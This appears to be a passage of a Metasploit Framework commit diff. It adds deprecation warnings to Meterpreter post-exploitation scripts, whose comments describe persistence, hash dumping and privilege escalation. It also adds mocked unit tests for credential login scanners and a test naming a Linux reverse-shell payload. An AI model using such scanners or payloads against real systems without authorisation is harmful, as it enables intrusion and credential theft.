as a post +# module instead. Thank you. +## + + + #Meterpreter script for running multiple commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index 92b54b5935d0..dd93477b143a 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for running multiple scripts on a Meterpreter Session #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com #Verion: 0.2 diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index 50ca71a51905..e8b3fcb13d4d 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for ping sweeps on Windows 2003, Windows Vista #Windows 2008 and Windows XP targets using native windows commands. #Provided by Carlos Perez at carlos_perez[at]darkoperator.com diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index 72b7d546a365..ba3e5dc1e2ba 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index 8994c997844b..0d30420f2e23 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -5,6 +5,14 @@ # http://metasploit.com/framework/ ## +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # Panda Antivirus 2007 Local Privilege Escalation # This module exploits a privilege escalation vulnerability in diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 6e6418ca79f3..a69fb3f13a78 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index 8ae888a4cd6c..55e3df64741b 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ b/scripts/meterpreter/pml_driver_config.rb @@ -5,6 +5,14 @@ # http://metasploit.com/framework/ ## +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # HP Multiple Products PML Driver HPZ12 Local Privilege Escalation. # diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index 9c6797702a85..a65ba32bf13d 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry # keys. This script requires you to be running as system in order to work properly. This has currently been diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index dce4598c096b..97e346b5ff5e 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for extracting information from windows prefetch folder #Provided by Milo at keith.lee2012[at]gmail.com #Verion: 0.1.0 diff --git a/scripts/meterpreter/process_memdump.rb b/scripts/meterpreter/process_memdump.rb index 44e82c930fe6..46b9ef32356f 100644 --- a/scripts/meterpreter/process_memdump.rb +++ b/scripts/meterpreter/process_memdump.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Note: Script is based on the paper Neurosurgery With Meterpreter by # Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com) diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index d5f27032883e..1e5385f67865 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index edf4287d9aab..4f3e9d72fead 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for automating the most common scheduling tasks #during a pentest. This script will use the schtasks command so as diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index 78153842d5ae..cb412cca168b 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # # This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index c17a82378f67..a1ede35ca540 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for abusing the scheduler service in windows #by scheduling and running a list of command against one or more targets diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index 594383e575f3..0e18c77172c7 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # This is a Meterpreter script designed to be used by the Metasploit Framework # # The goal of this script is to obtain system information from a victim through diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index b95c87c22110..14dd1036e3ff 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Script to unlock a windows screen by L4teral # Needs system prvileges to run and known signatures for the target system. diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index a7cb6313d211..77c1f86b8435 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com # # Thie script will open an interactive view of remote hosts diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 2c633f860ee1..1c5148bfc4e2 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + ## Meterpreter script that recursively search and download ## files matching a given pattern diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index f112ef47f451..322136a22dcf 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should have dump cached' do - FastLib.cache[@destination_path].should_not be_nil - end - - it 'should list archived paths' do - paths = FastLib.list(@destination_path) - - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - - context 'without cached dump' do - before(:each) do - FastLib.cache.clear - end - - it 'should not have dump cache' do - FastLib.cache[@destination_path].should be_nil - end - - it 'should list archived paths' do - paths = FastLib.list(@destination_path) - - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - end - end -end diff --git a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb new file mode 100644 index 000000000000..094ff19e2746 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb @@ -0,0 +1,337 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/glassfish' + +describe Metasploit::Framework::LoginScanner::Glassfish do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:good_version) do + '4.0' + end + + let(:bad_version) do + 'Unknown' + end + + let(:username) do + 'admin' + end + + let(:username_disabled) do + 'admin_disabled' + end + + let(:password) do + 'password' + end + + let(:password_disabled) do + 'password_disabled' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + before do + http_scanner.instance_variable_set(:@version, good_version) + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses JSESSIONID session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("JSESSIONID=JSESSIONID_MAGIC_VALUE;") + http_scanner.send_request(req_opts) + expect(http_scanner.jsession).to eq("JSESSIONID_MAGIC_VALUE") + end + end + + context '#is_secure_admin_disabled?' do + it 'returns true when Secure Admin is disabled' do + res = Rex::Proto::Http::Response.new(res_code) + res.stub(:body).and_return('Secure Admin must be enabled') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_truthy + end + + it 'returns false when Secure Admin is enabled' do + res = Rex::Proto::Http::Response.new(res_code) + res.stub(:body).and_return('') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_falsey + end + end + + context '#try_login' do + it 'sends a login request to /j_security_check' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/j_security_check')) + http_scanner.try_login(cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"j_username=#{username}&j_password=#{password}&loginButton=Login")) + http_scanner.try_login(cred) + end + end + + context '#try_glassfish_2' do + + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/applications/upload.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/applications/upload.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Enterprise Applications/Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_glassfish_2(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_glassfish_2(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#try_glassfish_3' do + + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/common/applications/uploadFrame.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username_disabled}") && + req. opts['data'].include?("j_password=#{password_disabled}") + res = Rex::Proto::Http::Response.new(200) + res.body = 'Secure Admin must be enabled' + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/common/applications/uploadFrame.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Applications or Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_glassfish_3(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL based on a disabled remote admin message' do + expect(http_scanner.try_glassfish_3(disabled_cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns status Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_glassfish_3(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Glassfish version 2' do + let(:login_ok_message) do + '<title>Deploy Enterprise Applications/Modules' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/applications/upload.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/applications/upload.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Enterprise Applications/Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + end + + context 'when Glassfish version 3' do + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/common/applications/uploadFrame.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username_disabled}") && + req. opts['data'].include?("j_password=#{password_disabled}") + res = Rex::Proto::Http::Response.new(200) + res.body = 'Secure Admin must be enabled' + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/common/applications/uploadFrame.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Applications or Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + end + end + + context '#extract_version' do + # Thanks to shodan for Server headers + subject(:extracted_version) { http_scanner.extract_version(server_header) } + + context 'with 9.1 header' do + let(:server_header) { "Sun Java System Application Server 9.1_02" } + it { is_expected.to start_with("9") } + end + + context 'with 4.0 header' do + let(:server_header) { "GlassFish Server Open Source Edition 4.0" } + it { is_expected.to start_with("4") } + end + + context 'with 3.0 header' do + let(:server_header) { "GlassFish Server Open Source Edition 3.0.1" } + it { is_expected.to start_with("3") } + end + + context 'with non-open-source header' do + let(:server_header) { "Oracle GlassFish Server 3.1.2.3" } + it { is_expected.to start_with("3") } + end + + context 'with 2.1 header' do + let(:server_header) { "Sun GlassFish Enterprise Server v2.1" } + it { is_expected.to start_with("2") } + end + + context 'with bogus header' do + let(:server_header) { "Apache-Coyote/1.1" } + it { is_expected.to be_nil } + end + + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb new file mode 100644 index 000000000000..cd870ccd116b --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb @@ -0,0 +1,122 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ipboard' + +describe Metasploit::Framework::LoginScanner::IPBoard do + + subject { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#attempt_login" do + + let(:username) { 'admin' } + let(:password) { 'password' } + let(:server_nonce) { 'nonce' } + + let(:creds) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:invalid_creds) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'username', + private: 'novalid' + ) + end + + context "when Rex::Proto::Http::Client#connect raises Rex::ConnectionError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises Timeout::Error" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises EOFError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when invalid IPBoard application" do + let(:not_found_warning) { 'Server nonce not present, potentially not an IP Board install or bad URI.' } + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + Rex::Proto::Http::Response.new(200) + end + end + + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it 'returns proof warning about nonce not found' do + expect(subject.attempt_login(creds).proof).to eq(not_found_warning) + end + end + + context "when valid IPBoard application" do + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['vars_get'] && + req.opts['vars_get']['app'] && + req.opts['vars_get']['app'] == 'core' && + req.opts['vars_get']['module'] && + req.opts['vars_get']['module'] == 'global' && + req.opts['vars_get']['section'] && + req.opts['vars_get']['section'] == 'login' && + req.opts['vars_get']['do'] && + req.opts['vars_get']['do'] == 'process' && + req.opts['vars_post'] && + req.opts['vars_post']['auth_key'] && + req.opts['vars_post']['auth_key'] == server_nonce && + req.opts['vars_post']['ips_username'] && + req.opts['vars_post']['ips_username'] == username && + req.opts['vars_post']['ips_password'] && + req.opts['vars_post']['ips_password'] == password + res = Rex::Proto::Http::Response.new(200) + res.headers['Set-Cookie'] = 'ipsconnect=ipsconnect_value;Path=/;,coppa=coppa_value;Path=/;' + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') && req.opts['method'] == 'POST' + res = Rex::Proto::Http::Response.new(404) + else + res = Rex::Proto::Http::Response.new(200) + res.body = "name='auth_key' value='#{server_nonce}'" + end + + res + end + end + + context "when valid login" do + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL' do + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context "when invalid login" do + it 'returns status Metasploit::Model::Login::Status::INCORRECT' do + expect(subject.attempt_login(invalid_creds).status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + end + end + + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb new file mode 100644 index 000000000000..d3a5bd861cdb --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb @@ -0,0 +1,90 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/smh' + +describe Metasploit::Framework::LoginScanner::Smh do + + subject(:smh_cli) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context "#attempt_login" do + + let(:username) { 'admin' } + let(:password) { 'password' } + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:invalid_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'username', + private: 'novalid' + ) + end + + context "when Rex::Proto::Http::Client#connect raises Rex::ConnectionError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises Timeout::Error" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises EOFError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when valid HP System Management application" do + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + + if req.opts['uri'] && req.opts['uri'].include?('/proxy/ssllogin') && + req.opts['vars_post'] && + req.opts['vars_post']['user'] && + req.opts['vars_post']['user'] == username && + req.opts['vars_post']['password'] && + req.opts['vars_post']['password'] == password + res = Rex::Proto::Http::Response.new(200) + res.headers['CpqElm-Login'] = 'success' + res + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + context "when valid login" do + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL' do + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context "when invalid login" do + it 'returns status Metasploit::Model::Login::Status::INCORRECT' do + expect(smh_cli.attempt_login(invalid_cred).status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb new file mode 100644 index 000000000000..00b7e29e9d64 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -0,0 +1,11 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/wordpress_rpc' + +describe Metasploit::Framework::LoginScanner::WordpressRPC do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + +end \ No newline at end of file diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb new file mode 100644 index 000000000000..b5706799ff96 --- /dev/null +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -0,0 +1,55 @@ +require 'spec_helper' +require 'msf/core/encoded_payload' + +describe Msf::EncodedPayload do + PAYLOAD_FRAMEWORK = Msf::Simple::Framework.create( + :module_types => [::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP], + 'DisableDatabase' => true, + 'DisableLogging' => true + ) + + let(:framework) { PAYLOAD_FRAMEWORK } + let(:payload) { 'linux/x86/shell_reverse_tcp' } + let(:pinst) { framework.payloads.create(payload) } + + subject(:encoded_payload) do + described_class.new(framework, pinst, {}) + end + + it 'is an Msf::EncodedPayload' do + expect(encoded_payload).to be_a(described_class) + end + + describe '.create' do + + context 'when passed a valid payload instance' do + + # don't ever actually generate payload bytes + before { described_class.any_instance.stub(:generate) } + + it 'returns an Msf::EncodedPayload instance' do + expect(described_class.create(pinst)).to be_a(described_class) + end + + end + + end + + describe '#arch' do + context 'when payload is linux/x86 reverse tcp' do + let(:payload) { 'linux/x86/shell_reverse_tcp' } + + it 'returns ["X86"]' do + expect(encoded_payload.arch).to eq [ARCH_X86] + end + end + + context 'when payload is linux/x64 reverse tcp' do + let(:payload) { 'linux/x64/shell_reverse_tcp' } + + it 'returns ["X86_64"]' do + expect(encoded_payload.arch).to eq [ARCH_X86_64] + end + end + end +end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 6a9f0677e014..54ed8ed238fe 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -37,16 +37,16 @@ subject.should respond_to :open_pcap end - it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do + it 'should confirm that pcaprub is available', :skip => "Need to test this without stubbing check_pcaprub_loaded" do end - it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do + it 'should open a pcap file', :skip => "Provde a sample pcap file to read" do end - it 'should capture from an iface', :pending => "Mock this? Tends to need root" do + it 'should capture from an iface', :skip => "Mock this? Tends to need root" do end - it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do + it 'should inject packets to an ifrace', :skip 